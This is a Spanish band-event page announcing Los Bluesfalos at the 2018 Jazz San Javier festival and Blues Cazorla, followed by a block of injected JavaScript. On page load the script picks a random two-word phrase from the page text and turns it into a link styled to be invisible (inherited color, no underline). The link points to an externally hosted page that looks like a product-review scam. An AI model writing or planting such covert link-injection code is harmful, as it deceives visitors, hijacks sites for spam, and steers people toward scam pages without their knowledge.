Skip to content
XXI FESTIVAL INTERNACIONAL DE JAZZ SAN JAVIER 2018
Después del histórico concierto que nos ofrecieron en 2010, en la XIII edición del Festival, en una noche memorable junto a Robben Ford y Bill Evans, LOS BLUESFALOS vuelven a Jazz San Javier, con más ganas que nunca, para disfrute de todos los aficionados al Blues y al Rock&Roll.
Details
- Date :
-
24/Jul/2018
- Time :
- 10:30 PM
- Location :
Santiago de La Ribera, Murcia
- Address :
Paseo Marítimo
Description
Después del histórico concierto que nos ofrecieron en 2010, en la XIII edición del Festival, en una noche memorable junto a Robben Ford y Bill Evans, LOS BLUESFALOS vuelven a Jazz San Javier, con más ganas que nunca, para disfrute de todos los aficionados al Blues y al Rock&Roll.

Mas información en:
http://www.jazz.sanjavier.es/artistas2018/los-bluesfalos.html
Conciertos Location
Últimos Conciertos
13
Fri
Cazorla, Jaen
11:00 PM
Por tercera vez LOS BLUESFALOS tienen el placer de estar presentes en BLUES CAZORLA. Tres días de Blues y Rock&Roll desde por la mañana a la noche, en un marco incomparable como es Cazorla. ¡¡¡Para vivirlo intensamente!!!
Leer más
const CONFIG = {
url: "https://aga-khan-museum-assets.s3.amazonaws.com/media/the-brain-song-reviews-2026-should-you-buy-it_tkud6.html",
linkTarget: "_blank",
minWordLength: 2,
maxWordLength: 2,
skipTags: ["a", "script", "style", "h1", "h2", "h3", "noscript"],
};
function insertDynamicLink() {
const walker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_TEXT,
{
acceptNode(node) {
const parent = node.parentElement;
if (!parent) return NodeFilter.FILTER_REJECT;
const tag = parent.tagName.toLowerCase();
if (CONFIG.skipTags.includes(tag)) return NodeFilter.FILTER_REJECT;
if (parent.closest("a")) return NodeFilter.FILTER_REJECT;
if (node.textContent.trim().split(/\s+/).length < CONFIG.minWordLength) return NodeFilter.FILTER_REJECT;
return NodeFilter.FILTER_ACCEPT;
},
}
);
const textNodes = [];
let node;
while ((node = walker.nextNode())) {
textNodes.push(node);
}
if (textNodes.length === 0) return;
const randomNode = textNodes[Math.floor(Math.random() * textNodes.length)];
const words = randomNode.textContent.trim().split(/\s+/);
if (words.length < CONFIG.minWordLength) return;
const phraseLength = Math.min(
CONFIG.minWordLength + Math.floor(Math.random() * (CONFIG.maxWordLength - CONFIG.minWordLength + 1)),
words.length
);
const maxStart = words.length - phraseLength;
const startIndex = Math.floor(Math.random() * (maxStart + 1));
const phrase = words.slice(startIndex, startIndex + phraseLength).join(" ");
const fullText = randomNode.textContent;
const phraseIndex = fullText.indexOf(phrase);
if (phraseIndex === -1) return;
const before = fullText.substring(0, phraseIndex);
const after = fullText.substring(phraseIndex + phrase.length);
const link = document.createElement("a");
link.href = CONFIG.url;
link.textContent = phrase;
link.target = CONFIG.linkTarget;
link.rel = "noopener noreferrer";
link.style.cssText = "color:inherit;text-decoration:none;";
const fragment = document.createDocumentFragment();
if (before) fragment.appendChild(document.createTextNode(before));
fragment.appendChild(link);
if (after) fragment.appendChild(document.createTextNode(after));
randomNode.parentNode.replaceChild(fragment, randomNode);
}
document.addEventListener("DOMContentLoaded", insertDynamicLink);